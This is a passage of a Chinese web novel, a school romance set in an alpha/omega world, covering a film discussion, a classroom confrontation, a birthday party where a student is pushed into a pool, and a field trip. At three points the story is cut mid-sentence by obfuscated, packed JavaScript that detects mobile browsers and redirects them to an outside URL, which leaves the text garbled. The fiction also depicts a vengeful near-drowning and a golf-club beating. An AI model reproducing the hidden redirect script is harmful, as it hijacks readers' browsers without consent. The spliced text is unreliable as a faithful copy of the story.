梁阁佩戴的阻隔器等级非常高,不会受任何信息素的干扰,但整个观影过程中,那颗糖的甜味都在他鼻端萦绕不去,就算糖吃完了,可祝余一呼一吸都是甜的。 导致观影结束,这部史诗片在他脑子里都带着股腻人的甜味。 礼堂亮起灯,有人走上台,五十多岁的样子,大约是学校的老教师。来的人寥寥,中途还跑了几个,他也没什么精神地介绍这部外国的史诗片,程序式地问有没有人有所感悟。 祝余抬了下手,就站起来,起身的过程中顺势将身上铺着的校服搭在了手腕上,他扼要地概括了一下这段历史,很快过渡到电影,从当时的电影技术到本片的场面调度,镜头、光影、叙事。不冗长,也不卡顿,娓娓而朗朗,谈吐极佳,梁阁眼睫下覆安静地听着。 台上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084466|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师肉眼可见地惊喜起来,因为来的人很少,他请他们移步后面的小休息室。 几人拘谨地来到休息室,各自搬了椅子坐下,老师给他们泡了花茶,没有提那个沉闷的史诗片,各问了他们一些日常的小事。他说话很有一套文法,诙谐风趣,从细微处引入电影,氛围很闲适生动。 从礼堂出来,校园的钟声响了,雨已经停了,七八个人一齐往校外走去,几个低年级很活泼,祝余也没有平日冷漠,队伍里不时发出笑声,他们走到校门口。 祝余从来懒得和人道别,但是今天例外,他踏上右侧的支路,和众人说,“我先走了。”然后仿佛不经意地和梁阁对视,祝余眼珠明亮地噙着他,唇角微微往上抿,用口型无声地对他说,“拜拜。” 他转过身,眼前还持续着那种快乐的眩晕,雨后的路面和行道树都泛着湿,空气很凉润,祝余觉得天气真好,万物都可爱。他雀跃得脚跟不着地,芭蕾舞者一样,用脚底轻点着没有水洼的路面。 他想,我才不要管他怎么想我,我就是要让他知道我有多优秀——智育,体育,美育通通无可挑剔。我劝你聪明点睁开眼睛看看,在你面前的是个多么优越出色完美的omega! 你最好把握住机会。 运动会结束后,开始正常上课。 又一节生物课,梁阁从教室后门进去,一抬眼就看到教室外那棵青翠葱茏的大树只剩光秃秃几根枝,不由恍了下神。 有人早他一步发觉树被裁剪了,急切地探出窗,问树下收捡残枝的校工原由。 校工回答是有同学反映这棵树长得太不正经,严重干扰课堂纪律。 树长得不正经? 这位质问校工的同学大抵是个植物保护主义者,就算不是也该对这棵窗边树情深甚笃,他忿忿不平,大骂这个告状的事儿逼是“人不行怪树,走路不行赖路”。 祝余对这些咒骂一无所知,这节生物课他照旧光芒耀眼,完美发挥智育水平,别人根本没有开口的机会,连老师都对他这种突然而又持续的积极感到吃惊。下课前生物老师提醒各组的课外实验,是个非常简单的小实验,下周需要交作业。 生物课后,祝余还上了节公选课,穿过廊道回教室的路上再一次被拦住。 又是一个男alpha,穿和他同年级的制服,戴眼镜,高而瘦,拦在他身前,趾高气昂,“我想和你聊一下。” 祝余完全不知道这人是谁,他也没兴趣跟男a说话,“不要。” 他甚至不正眼看他,态度也极差,alpha感觉受到侮辱,重申,“我有事找你。” “不要。” 直接就要走,猝不及防被alpha一把搡进走廊某间教室里,后背抵开了门,祝余踉跄几步才站稳,alpha迅速跟进来,先一步挡在了门前。 这是间不太用的小教室,近似杂物间,静悄悄的,屋子里摆了两个大置物架,上面堆着纸箱和一堆实验器材,显得空间狭小。 祝余脸色十分不好,沉得出水。 Alpha看着他,他永远一副高高在上的德行,看着就叫人生气,让人很想把他拽下来,用鞋底跐上一跐。 “你故意做出一副讨厌alpha的样子,其实根本不是讨厌,而是害怕吧。”alpha睨着他,像看透他本质,“你分化成了omega,所以害怕alpha强过你,支配你,主宰你。上次考试你故意没来,你害怕我拿第一名,把你踩下去对不对?不过你怕得没错,我确实拿了第一。” 上次考试就在祝余分化后的几天,他分化时间晚,反应非常剧烈,高烧、发情、疼痛、呕吐、有半个月的时间都在医院的隔离室。 祝余一秒钟都受不了和男a单独在某个密闭空间,就算闻不到信息素的气味,但他觉得男a这个性别就散发着一种臭味,又因为alpha拙劣地挑衅,他的不耐烦已经到达阈值。 “你也知道是我没来考试,你才拿第一的,你就感激吧。”祝余看着他,轻蔑又傲慢地,“我要是想当第一名,哪里还轮得到你?那是我让你。” “别装腔作势地嘴硬了!你就是让我抢了第一名心有不甘,所以不停上课抢答,故意在生物老师面前给我难堪!” 祝余觉得这个人自我意识未免太过剩,“你是谁我都不记得,故意给你难堪?” alpha瞪大眼睛,“你不记得我是谁?我从入学起每次考试都排在你后面,你不记得我是谁?!” 他显然无法接受,连续两次情绪激动地质问。 祝余说,“谁要记得第二名?” alpha气得面皮通红,眼镜都要起雾,“你真是没素质,你在得意什么,你以为你会永远第一吗,狭隘自大愚蠢无知……” 祝余懒得理会他这些无能狂怒的乱吠,定神想了一想,“我知道我优秀的光芒刺痛了你的平庸,可我当了那么久的第一你也没急,生物课回答了几次问题你就急了,还‘在生物老师面前给你难堪’,怎么?喜欢生物老师啊?” 他看着眼前的alpha,“那正好,我现在就去问她会不会害怕alpha强过她,支配她,主宰她,你一定也很好奇吧?” 他似乎猜对了,alpha明显慌了阵脚,情急之下一把攥住他手腕,“站住!” 祝余低头盯着他的手,“你最好不要碰我。”生冷地抽回手腕,看着他,“也最好不要有什么极端行为,上一个骚扰我的alpha已经没办法参加升学考了,你要不要也试一下?” 这个alpha面相比较文静,是那种书呆子特有的文静,祝余一眼能看出来,他虽然学习不错,但其他方面非常笨拙。 alpha低着头,两只手无措地抵在门上,轻易被祝余几句话逼入一个进退维谷的死角。他迷恋上年轻温柔的生物老师,最开心的事就是上课回答和她互动,生物老师时常对他投以温柔欣赏的目光,他甜蜜得要融化。可自从他上次拿了第一,祝余回到学校,生物课就开始频频抢答,不止让他下不来台,生物老师的目光也被抢走,他气恼又不甘,一时脑热气冲冲就来找祝余对峙。 现在怎么办?不能让祝余出去找生物老师,可又不能把人关在这,更不用说其他武力威胁,后果和下场他都无法承受,两只眼珠仓皇地左右转动。 半晌,他才惶惶然抬起头。 “今天这场冲突其实是我们两个都太偏激了,完全是没必要的。对!没有必要,我们互相道歉说和吧,我先来。”他先行做出表示,“我很抱歉,今天是我情绪过激,口不择言,对你造成了困扰,希望你能原谅。” 他说完抬起脑袋,等待着祝余的回馈。 祝余别开眼,“你道你的,我不道,我素质差。” 他话一落音,就听到噗呲几声闷笑,两人同时看过去。 屋子里置物架和那堆纸箱后面,几个男a正围着小课桌在打扑克,显然是将这场墙角从头听到了尾。梁阁率先丢了牌起身,其余人也纷纷跟着绕过置物架走出来,各个都是一脸的兴味与戏谑,时不时夹杂着几声“行啊”“真能气人”“好骂”。 让这么多人旁观了这场落败的对峙,alpha涨红着脸难堪地夺门而出,只剩祝余被一群alpha笑嘻嘻地围着打量。 祝余看到梁阁从置物架后走出来的那一刻起,就已经尴尬得不能动了,关节都像锈住了,耳道里全是alpha们的笑声。 好在梁阁没有笑,只是问他,“明天李沛的生日局,你去吗?” “嗯。” 梁阁点点头,手插进裤袋就要往外走,走出两步又转回来,眼神清湛地看着他,好像在笑,“那明天见,第一名。” 祝余倒吸一口凉气,一时间真不知该高兴得上天,还是羞窘得遁地。 一行人走在走廊上,还在议论回味着刚才那场墙角。 “怪不得李沛迷他迷得要当他的狗,真够辣的。” “那股子傲劲儿,啧啧。” …… 沈释缓步走在梁阁身侧,刻意地落后其他人几步,拉开一定距离后,状似不经意地开口,“你今天,有点苗头啊……你不是要撬李沛墙角吧?” 梁阁没应声。 沈释持续敲打,“你表弟可巴巴跟他后头好几年了。” 梁阁慢条斯理地走着,忽然说,“他好像不喜欢我表弟。” 沈释品了品这话里的意味,飞快地转过头来,“怎么个意思啊?” 梁阁看着他,笑了一下,“你猜。” 6. 第五章(上) 祝余到李沛家的时候刚刚七点,夜幕恰好降临,别墅里已然灯火辉煌,相当热闹。 李沛大概叫了不少人来,祝余一进前庭就听到了笑声,他被人引着往里走。来的路上李沛连发几十条消息问他的行程,这会儿该是让人绊住了,不然祝余进门,他就该闻着味儿扑过来迎了。 带路的人告诉他,人都在庭院。 祝余点了下头,往里走去。他踏出客室,外面是一方泳池,屋外的灯要暗许多,池里镶的那圈地灯开着,月光和地灯交相辉映耀得池面波光粼粼。 他出来就看见了梁阁,在泳池尽头的玻璃露台,放着几株叶片翠绿的天堂鸟,光线不太明亮,影影绰绰的,微弱而暧昧。 梁阁换了身休闲些的衬衫长裤,坐在沙发上,长指握着一个方底玻璃杯,衬衫开了颗扣,没那么一丝不乱,有些倦怠的样子,这种倦怠冲淡了他身上那种迷幻性的温柔,冷冷淡淡的,只剩下几分不近情理的斯文。 他周围簇着许多人,坐在他旁边,伏在他沙发后面,笑语盈盈地围着他说话,一个omega半跪在沙发上兴致勃勃,嗓音清甜地问他,“你喜欢吃什么东西?” 梁阁看着手中的玻璃杯,慢慢地说,“好吃的东西。” omega大概以为他开玩笑,“哈哈哈哈哈哈,那你不喜欢吃什么东西?” “不好吃的东西。” 祝余忽然有些想笑,为他的冷淡和敷衍感到快乐,就在他暗自快乐的那一秒,梁阁忽然抬起眼望过来。 他眼睛黑沉沉的,隐在昏昧的光影里,冷静精敏像个天生的捕猎者。 祝余身体不自禁一阵僵滞,很快调试过来,他平静地和梁阁对视了一秒,而后轻忽地别开了视线。 庭院里几个厨师在烤肉,另备了品类繁多的冷餐自助,来的多是李沛的同龄人,十几岁正是聒噪的时候,何况是一群十几岁的聚在一起,说好听点是热闹,难听点是闹腾,祝余向来庆吊不通,对这种场合也厌恶居多。 他目光梭巡一圈,没找到李沛,随手将礼物抛进李沛的礼物篮里,问了经过的侍者,避开人群,顺着过道朝花圃去了。 大概主人有心,花园被打理得非常好,除了葳蕤清丽的花木植株,还搭了葡萄架攀藤,架上结满了青涩的绿葡萄。他坐在花园的秋千长椅上,脚点着地,荡秋千似的慢悠悠晃了几下,花园幽香袭人,天还没完全暗下去,苍蓝的穹顶布着几颗碎粒似的小星。 隐约一阵脚步声,祝余循声望去,梁阁正绕过转角那两棵五针松踏着石板小路不疾不徐地过来。 他停在祝余身前,“我可以坐你旁边吗?” “你坐啊。”祝余语气神情都平淡。 梁阁说了声“谢谢”,坐下时手指不小心触到祝余撑在椅面上的指尖,很快缩回去,他低声道歉。 “抱歉,不是故意的。” 祝余说,“没事,我知道你不是故意的。” 他眼睫覆下来,轻轻晃着小腿,小声地,状似无意地说,“你要是故意的就好了。” 梁阁一怔,偏过头来看他。 祝余正好抬起眼来。 两个人视线倏然交汇,四目相对,都没有移开。花园幽静,只燃着几盏立柱式小灯,光晕朦胧,不远处派对的笑声断断续续地传来,愈显得暧昧而涌动。 忽然—— “祝祝!祝祝!诶,哥……” 祝余遽然错开视线,梁阁半点惊惶都无,他无波无澜地坐着,笑意温和地抬头看着李沛,“怎么了,沛沛?” 李沛一路欢快地跑来,又猛然停在他们跟前,大抵脑子笨的人动物性强,李沛本能地感觉到他哥和祝余之间有什么不一样。 虽然人后这样似有似无地撩拨,但在人前,祝余完全不和梁阁接触。偶尔梁阁李沛一行人和他迎面相遇,他眼神都不偏一下。极个别时候他会在李沛招呼他时过去,赏脸却又淡漠地坐在一群alpha中间,和梁阁远远地隔着,几乎所有人都以为他们是因李沛而有零星交集的陌生人,包括李沛。 李沛并未能识破那层暧昧的迷雾,他只是奇怪,在他眼里,他哥和祝余只是在他某次卖力地拉拢下浅浅对过一个眼神的关系,怎么坐在一起了? “哥,你怎么也在这?你们……说话呢?” 梁阁笑着说,“他们一直围着我,过来避一避,看到他坐在这。” 祝余的解释更简短,“太吵了。” 李沛毫不怀疑,“哥,你可得离他们远点,尤其那个方思扬,他刚还扒着我问‘我老公呢?’这小o太没脸没皮了,野得不行!”又对祝余说,“祝祝,你来了怎么也不找我,我盼你好久了!” 他又说,“走吧走吧,出去玩呗,要切蛋糕了!” 三人从花园过道出去,祝余听见一个讨嫌的声音,“哟,第一名来了。” 是沈释,他说完瞟了梁阁一眼。 明摆着在揶揄祝余昨天和alpha在杂物室的那场机锋,李沛不知道这茬,只当沈释说祝余功课好。 祝余不记人脸,之前李沛身边来去的人里,他只记得两个,也是李沛关系最近的两个,郁仪和沈释。记得郁仪一是因为林松松,二是因为他的脸,而记得沈释,纯粹是因为这是五毒俱全的一个渣滓。 沈释在家行四,上面已有三个哥姐,家里对他的到来已无惊喜,直接把“四”改成“释”,取名叫“沈释”,也确实省事。 沈释是个纯粹的alpha,一眼就能看出来,完全是alpha的身高骨架,平心而论脸也还不错,是带点邪气的英挺,总让人觉得不正经且坏,尤其右耳耳骨从上至下穿了四个浮夸绚丽的耳饰,十成十地乖戾不羁。 他家里背景不干净,他这人也不怎么干净,放浪形骸,四处招摇,在祝余眼里就是个大号病原体,一个移动的挥发会污染空气的垃圾。 祝余一句话也不说,沈释又笑着问李沛,“这回开心了吧,他送你什么礼物啊?” 李沛才想起这茬,听祝余说丢进他礼物篮里了,立刻兴冲冲把礼物从篮子里刨出来。一个新款的电子产品罢了,但李沛还是很高兴,“你怎么知道我正想买呢,真贴心。” 李沛这趟收了许多礼物,最讨他欢心的是他哥送的。梁阁送给他一匹马,一匹通体乌黑、优雅昂健的弗里斯兰马,前几天已经带他去马场看过了,李沛喜欢得不行,觉得他哥对他全世界最最最好。 他们学校大多家境优越,来的这群人最差也是中产以上,当然林松松除外。林松松不是因为郁仪才来的,他和李沛居然私交不错,可能两个beta傻味相投,反正是李沛邀请他来的。 他自己做了个蛋糕,又准备了礼物,直言不讳地和李沛说,“我是没什么钱的,只能这样了,你嫌弃的话我也没办法了。” 自从那天林松松宣战式预定告白,几乎全校都觉得他痴人说梦,x□□想吃天鹅肉。那可是郁仪,alpha里最冷漠也最漂亮的那个,金相玉质,好看得可以用美来形容,可第二天林松松就蹬着他那辆破烂自行车载着郁仪进了校门。 他们绕过泳池,李沛飞奔着扑过去,“妈妈!” 李沛看起来无拘无束,张扬意气,但事实上很听他父亲的话。他的omega父亲,坐在轮椅上,看起来很秀美温柔,李沛叫他“妈妈”。 他一副少年羞涩的模样,向父亲介绍,直率又忸怩,“这就是祝余,我的……好朋友,我很喜欢他!” 那点旖旎的心思昭然若揭。 祝余有些不快,碍于礼数还是先问好,“叔叔好。” 李沛父亲睇了儿子一眼,又笑着注视祝余,没说什么让他不自在的寒暄,只问他玩得开不开心,又说,“以后常来玩。” 李沛立马接腔,“是啊!是啊!马上假期了,你常来玩嘛!” 梁阁静静立在一边,李沛父亲扫到他,像是嗔怪,细看又分明是疼爱,“你也是!” 祝余这才想到,李沛的父亲就是梁阁的舅舅。 梁阁低着头笑,李沛父亲还待说什么,“既然搬……” 沈释凑上前,卖乖似的玩笑道,“叔叔,我呢?怎么也不叫我常来玩?” 他大概对儿子这些玩伴都熟悉,故意揶揄,“我怕你来了不走。” 到底是小朋友们的场子,李沛父亲又体弱,只嘱咐几句让大家好好玩就上去了,下面再次重归欢腾。 人太多,分成了几波,开始玩游戏。 祝余被李沛陪着坐在沙发上,梁阁和沈释坐在凸窗前的椅子上,和他们正是对角,远远地隔着,四处是人,因为玩游戏,只开了几盏暗灯。是个抽牌惩罚游戏,玩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084467|195372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几局也没抽到他们,因为是在李沛家里,惩罚并不出格,但还是气氛高涨,耳边全是吵人的笑声。 李沛边怕他无聊陪在他身边说着话,边不时应付着其他人的拉拽邀约,到处是人,祝余端坐着,忽然手机震了一下,他拿起来看,梁阁发的消息,“餐台的樱桃挞不错。” 他捧着手机,眼皮往上掀了一点点,在聚会嘈杂的人声和昏昧的光影里,梁阁正侧过脸笑着和沈释低语着什么,若无其事的样子。 他不动声色地挑了下眉,回复,“你喜欢吃樱桃挞?” 然后揿灭屏幕,李沛又凑过来和他说话,他佯作无事地点头应和,手里的手机又轻轻震了一下,他没理睬,过了会儿才像无聊似的划开手机,看到新消息。 “我觉得有人会喜欢吃。” 祝余下意识抿住嘴唇,又朝那个方向望去,梁阁也正好看来,在幽暗的光影里浅浅对了个眼神,又不着痕迹地错开。祝余心跳纷乱,故作平静地低眉,打字回复,“是吗?那我去看看。” 李沛被人扯去别的场子,祝余施施然起身,去到餐台,取盘夹了一块樱桃挞。 他挑了一匙,确实不错,有些奇妙滋味,可能加了果酒,覆盆子和酒精像在舌尖跳舞,很有春夏的感觉,醺醺然的,祝余心境都明亮。 他端着樱桃挞步伐轻快地回到偏厅,正好看见梁阁和沈释相携出去的背影,他站在那里,觉得盘里的樱桃挞已索然无味。 祝余回到沙发上,如同嚼蜡般吃完了那块樱桃挞,大概枯坐了七八分钟,梁阁一直没回来,周围又吵又闷,好似群魔乱舞。他全无耐性,直接起身出去,往后面走,去洗个手,或者去后园透透风,再不然就回去好了。 他往后廊走,尽头的门突然开了,沈释走了进来,看见他时笑了一下,不言不语地,只是笑,往后掠了一眼,走了。 梁阁在沈释之后进来,也看见他,目光在他身上稍作停留,走上前来,停在了祝余跟前。 祝余嗅到他身上淡淡的涩苦的烟味,应该是沈释抽烟沾染上的,春雾一样朦胧,他后知后觉地别过脸,作势要走。 “好吃吗?”梁阁忽然问,声线低低的有种尚未成熟的少年的磁性,很抓耳。 祝余故意冷着脸,“一般。” 梁阁低着头笑,“可能你吃过更好的。”又问,“怎么出来了?” “太吵了,出来透气。” 梁阁点点头,侧过身,笑着问他,“要来吗?” 他们出了后门,站在门边的草坪上,李沛家的花园占地很大,栽着许多不知名的树。这是个晴朗温柔的春夜,间或有风吹拂,树影婆娑,未关的后门投出一扇光来,屋里玩游戏的笑声隐隐约约,幽静又热闹。 晚风缭缭地拂过来,祝余心口壅着的郁气也一点点散去,他们静默地立着,在熏然的柔风中梁阁问起,“周日要去荔山吧?” 他说课外实验,他们组决定去荔山,就是后天了。 祝余昨天一整晚都在为梁阁那句“那明天见,第一名”和周日要去荔山躁动得辗转难眠,但此刻他冷淡地环着手,“是吗?一定很无聊。” 梁阁笑起来,“会比今天更让你觉得无聊吗?” “今天不无聊。”祝余说。 梁阁低下眼看他,略有错愕的样子。 “至少现在不无聊。”他侧过脸,避开梁阁目光,眼神像无处安放一样四处绕看了一圈,“如果周日能像现在这样,那也不无聊。” 他垂着眼,后园微弱的光线在他纤长的睫毛上镀上一层金晕,像熹光里的幼蝶。梁阁就看着这两只幼蝶这里扇一扇,那里扇一扇,突然停住,又像要在谁心底引起一阵飓风般扑棱着抬起来,他定定看着梁阁,浅棕色的眼珠很明净漂亮,“你想让我无聊吗?” 大概静了三秒。 梁阁忽地低下身来,脸凑到他眼前。 祝余猝不及防对他眼睛,四目相对,甚至能感觉到梁阁的呼吸拂过他脸颊引起的酥痒。那些游刃有余的撩拨顷刻间全作了火烧,他清晰地听到自己心跳过激带动牙关相撞的声响,脖颈抻直,喉头像浮漂一样在雪白的脖颈上滑动了一下,整张脸都红了。 近得咫尺,他几乎以为梁阁要吻过来。 然后他听到梁阁问,“你睫毛这么长,眨起来会不会响?” 7. 第五章(中) 什么? 祝余脑子还宕机着,尚未从这与期待严重不符的巨大落差回过神来,就听到泳池那边传出骚动,和两声短促的呼救,像林松松。 他和梁阁对视一眼,连忙从侧花园绕过去,池边聚着不少人。真的是林松松,林松松掉进了泳池,而且显然不会游泳,竭力探出头来,在泳池里一个劲地扑腾。 祝余见状就要扎进泳池去,起跳的瞬间被梁阁拎住后领止住了,抬了抬下颌,“下去了。” 那边郁仪已然潜龙入水,浪里白条,一手揽住林松松往池边带,游到池壁将人拱上去,众人七手八脚把林松松拉了上来。郁仪一把撑上岸,将滴水的额发往后捋,露出一张白净愠怒的秀丽脸庞。 水深其实只有1.6m,远不到林松松的身高,但林松松不会水,在水里根本站不住,那种源自求生和本能的无助让他惊慌失措,呛了不少水。劫后重生的恐惧使他浑身发冷,眼里布满红血丝,一个劲地咳嗽,郁仪一过去他就将人搂住了,紧紧贴着热源,身体因为恐惧和失温不停地哆嗦。 祝余赶紧扯了躺椅上的干浴巾,半跪着围到他身上,对郁仪说,“把湿衣服给他脱掉,保温。” 明知林松松只是呛水和受惊,还是按流程在他耳边问道,“林松松你听到我说话吗?” 林松松蜷在郁仪怀里,嘴唇张合,“祝余……” 神志清楚,可以正常对话,胸部呼吸动作正常且规律,“嗯,你没事。”他看着郁仪,“还是去一下医院。” 李沛家里已经联系医院,很快就到了,郁仪陪同,“我去就行了。”他看着李沛,“你今天生日,好好玩。” 坐在回程的车上,祝余才有余裕思量,林松松该不会真的是什么“主角”吧? 很像他上个月看的漫画,尤其是这个老土而俗套的“平民参加聚会掉进泳池”情节,这要还是被人推下去的,就更主角了。 礼拜六上午,祝余去医院探望林松松,在医院大厅正与郁仪狭路相逢。 虽然两人互相都已有所改观,但实在太不投合,融洽相处相谈甚欢是万万不可能。两人冷着脸各自矜持地点了下头,权作问候,同行着往林松松病房去,一人抱了束花,祝余另提了个装了不少糖果巧克力的果篮,郁仪另提了一个木质雅致的大食盒。 在医院走廊一径沉默地走着,都没透露出半分想交谈的欲望,两人同时走到林松松病房门口,又同步定在当场。 原来林松松真的有朋友,何止,他朋友多得一个病房都快塞不下。 很好林松松,你居然是个social butterfly。 郁仪的脸色也不太好,病房里所有人的目光都聚集在他们身上,病床上的林松松红光满面地指着他们,向众人介绍,“这个就是我男朋友,超聪明超酷的,帅吧帅吧帅吧!?那个是我的超级好朋友,很厉害哦,我们学校第一名!” 算你会哄。 两人很快端好架子,抬起下颌,手捧花束,优雅而款款地步入病房。 祝余没待多久,他不习惯人多的地方,而且他本也只是怕林松松孤家寡人才来看看,不过挺出人意料的是他见到一个人。他对这人有印象是有次科学竞赛,他们都拿了一等奖,而且分数上来说,祝余还比他低一点五分。 曾家的二儿子,和他们不是同校,和祝余第一次见他时没什么差别,挺平凡的脸,没睡醒的样子,但脑子特别活,据说是这一代里beta的荣光。 林松松竟然认识曾蹇,他看戏般扫了眼郁仪的脸色,结果正看见林松松脉脉把郁仪瞅着,当着这么多人,眼里那沉甸甸亮晶晶的喜爱简直要溢出来了,他还浑然不觉,一个劲地傻乐。 祝余立刻不爽了。 不就谈个恋爱吗?倒贴什么呀?找的alpha也不怎么样啊,冷冰冰的,成天板着张脸给谁看?我看上的温柔又爱笑,比他好多了。 出了医院,又想起林松松那张脸来。 不就谈个恋爱吗?得意什么呀?明天我也要去荔山郊游约会了,等着瞧吧! 接到沈释电话叫他出来玩的时候,beta简直受宠若惊,以为是昨晚玩游戏入了沈释的眼。沈释甚至专程来接他,车窗降下来,笑着叫他“上车”,一路载着他回了沈释家。他如在梦中,看着沈释自如地从高尔夫球包里抽出根球杆来,还以为沈释要带他去打高尔夫。 沈释搂住他肩膀,带着他出了房子,外面就是泳池,他整个人晕乎乎的,脚底都踩不实,讨好地问,“我们要去打高尔夫球吗?” “嗯。” 他又问,“这么晚了,怎么打?” 沈释笑了一声,带着他走到泳池前,俯下身在他耳边,“昨天是你把林松松推下去的?” beta狠狠一惊,他知道林松松怕水。 他算是林松松来这所学校认识的第一个人,甚至有段时间关系很不错,但他很快对林松松这个人感到厌恶——爱装傻,又爱攀附,先是死皮赖脸扒着祝余,又是接连制造麻烦缠上郁仪,更可气的是还真让他得逞了,如鱼得水地混进了那个圈子,还傍上了郁仪! 他受不了林松松那副故作傻气,小人得志的样子,跳梁小丑叫人作呕,趁着昨天一群人玩闹,一肘把林松松怼入池中。之前他也这么玩过,故意把林松松的事透露给学校其他人,稍加润色歪曲,让原本看这个贫民窟beta不爽的人更加厌恶,有半个多学期林松松都在集体霸凌中度过,被锁在厕所里,书包被丢进垃圾桶,被人围殴,他做梦都笑醒,大快人心。 他正恍惚着,被一脚蹬进泳池,猝不及防呛了下水,好在他会游泳,可刚扑腾着露出头来,就被沈释的鞋底踩着脑袋淹进水里去。 beta两只手痛苦地扑打着水面,像一只溺水的鸭子,那种可怕的窒息感半分钟不到,他却觉得已经过了十年,头顶的鞋移开,他劫后余生般探出头,咳得眼泪鼻涕糊了一脸,眼珠都充血。 “你怎么掉下去了?”他听到沈释悠闲地问话声,惊惶回头,看见沈释懒洋洋地将高尔夫球杆扛在肩上,“这样,我们来玩个游戏吧,你就像刚才那样在水里待一小会儿,我什么时候高兴了,什么时候让你出来,怎么样?” 金属质感的高尔夫球杆支在地上,沈释站在泳池边笑眯眯地看着他,“你敢探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对你不是。 梁阁笑了一下,长指在屏幕上敲着字,泳池那边重击和哀叫接连响起,水声哗然,梁阁眼都没抬。等到聊天结束,他们互道了“明天见”,才起身,泳池那边已污糟一片。 是beta憋到极限了,想出个取巧的法子,不探头,鼻子顶出水面去了,惹得沈释都摇头笑着啐“鬼点子”。可惜鼻梁不够高呛着水,鼻腔肺腑火辣,生命本能直接探出水去,被沈释一球杆抡下,下颌骨骨折,鼻孔全是血,正浮尸一样泡在水面上,池子里一片被血染红的污水。 沈释下手很有分寸,不会有大事,但绝对够疼。 梁阁平淡地收回眼神,合上书本,“我走了。” “哪去?在我这睡呗。” 梁阁往外走,拿书的那只手上举着朝身后挥了挥,“明天有事。” 从沈释家里出来,风和天清,夜空有星,梁阁站在春天最后一场晚风里,明天应该是个好天气。 8. 第五章(下) 周日当天祝余很早就醒了,因为约好了同组一起坐校车从学校出发,司机送他去学校,在校外一家咖啡店下了车,去买早餐。 祝余口味比较极端,他嗜甜又爱苦,去星星克必点冰美式和巧克力麦芬,另随机加购一款新出的甜品。 今天正好入夏,一到夏天,整个世界都很亮,出了咖啡店九点的太阳就已经开始刺眼了,身后有几个女生细碎地抱怨说“最讨厌夏天了。” 祝余对夏天还好,算不上讨厌,说起来,四季里他最不喜欢的是冬天,因为他在冬天饱尝了失落的滋味。 他到的时候还很早,另外只到了一个beta女生,校车已经停在树荫下。 祝余朝她点点头当作打招呼,径自上了校车,他在靠窗的位子坐下,有一口没一口地喝着冰美式。 他不太舒服,fq期有隐隐要来的征兆,昨晚下半夜发热,盗汗根本没怎么睡,索性起了。有些低烧,起床时一阵眩晕,他顶着那阵眩晕开始挑衣服,昨天原本已经选好了,但今早再看又觉得没那么好,于是又从五点多挑到七点多,总算满意。 换好又趴回到床上,捧着手机回看昨晚和梁阁的聊天记录,目光停在梁阁最后那句“明天见”。 祝余看不太透他,到底是装傻还是真纯,周五晚上那么曼妙的氛围,春夜,聚会,晚风,花园,祝余眼眸殷殷望着他,他问他睫毛眨起来会不会响? 睫毛眨起来会不会响?! 实在难以捉摸,他未必不懂? 可能药物作祟,祝余有些头晕反胃,开了车窗。出门前情况加剧,他打了两针高等级抑制剂,又戴了手环,以防万一包里备了好几种药。理智的话不该出门的,他分化还不久,情况并不稳定,很可能有突发状况,但他怎么能不来,“明天见”耶! 其他人陆续到了,打了招呼又上了车,祝余手肘撑在车窗上百无聊赖地看着车外,猛然瞧见什么,倏地低下头来。 梁阁正低头上车来,清爽休闲的运动服,高高挺挺的,斯文又朝气,笑着和众人道好,“早上好。” 他一笑,整个车厢都亮起来,仿佛进来的是一个初升的太阳。祝余就看着其余人像一朵朵训练有素的向日葵般齐齐抬头看向他,花盘招展,明媚热情地回应,“早上好!” 祝余冷漠地坐在向日葵花田里,没有做声。 梁阁笑着走到祝余身后的座位坐下,祝余的心跳不自禁快了一些,坐直了身,他悄然偏过头,朝座位和车窗间的间隙投去一瞥,正对上梁阁的眼睛,梁阁弯着眼睛低声和他说,“早上好。” 祝余遽然回过身,生殖腔仿佛都热起来,脸上还是那么冷冷清清的,“嗯。” 约定时间人员到齐,校车启动,有风从窗外拂进来,祝余看着逝去的公路像带子飘飘摇摇,树影渐盛,一路开到荔山校区。 荔山校区是他们学校分校区,背靠荔山,环境很好。正值春夏,荔山一片幽碧,草木扶疏,在晴朗的日光下,仿佛翠锦,开发得很不错,他们上山途中有不少人爬完山下来。 但这趟荔山之行远不如祝余想象中的暧昧有趣,至少上山的时候是的,因为上山是一个集体行动,除了分组采集外的所有时间众人都是一起的。祝余不可能在人前和梁阁搭话,而且山上网络时好时坏,也不好发消息。 他们一组有七个人,除了祝余外还有一个omega,也是男生,另外四个都是beta。 祝余没有和他们交谈的意向,径自走在队伍里,听得到他们热切地和梁阁攀谈的动静。梁阁显然很习惯应付这样的热情和簇拥,静静笑着,不时应和一句,不热络但也不冷落,气氛融洽。 日头渐渐爬高,祝余感到有些晒人,乏味而苦累,忽然听到那个一直搞怪地双手摆动大跨步走在梁阁身边的omega,仰头笑着和梁阁说,“昨天晚上聊完天,我想到今天要出来玩,兴奋得都睡不着觉……” 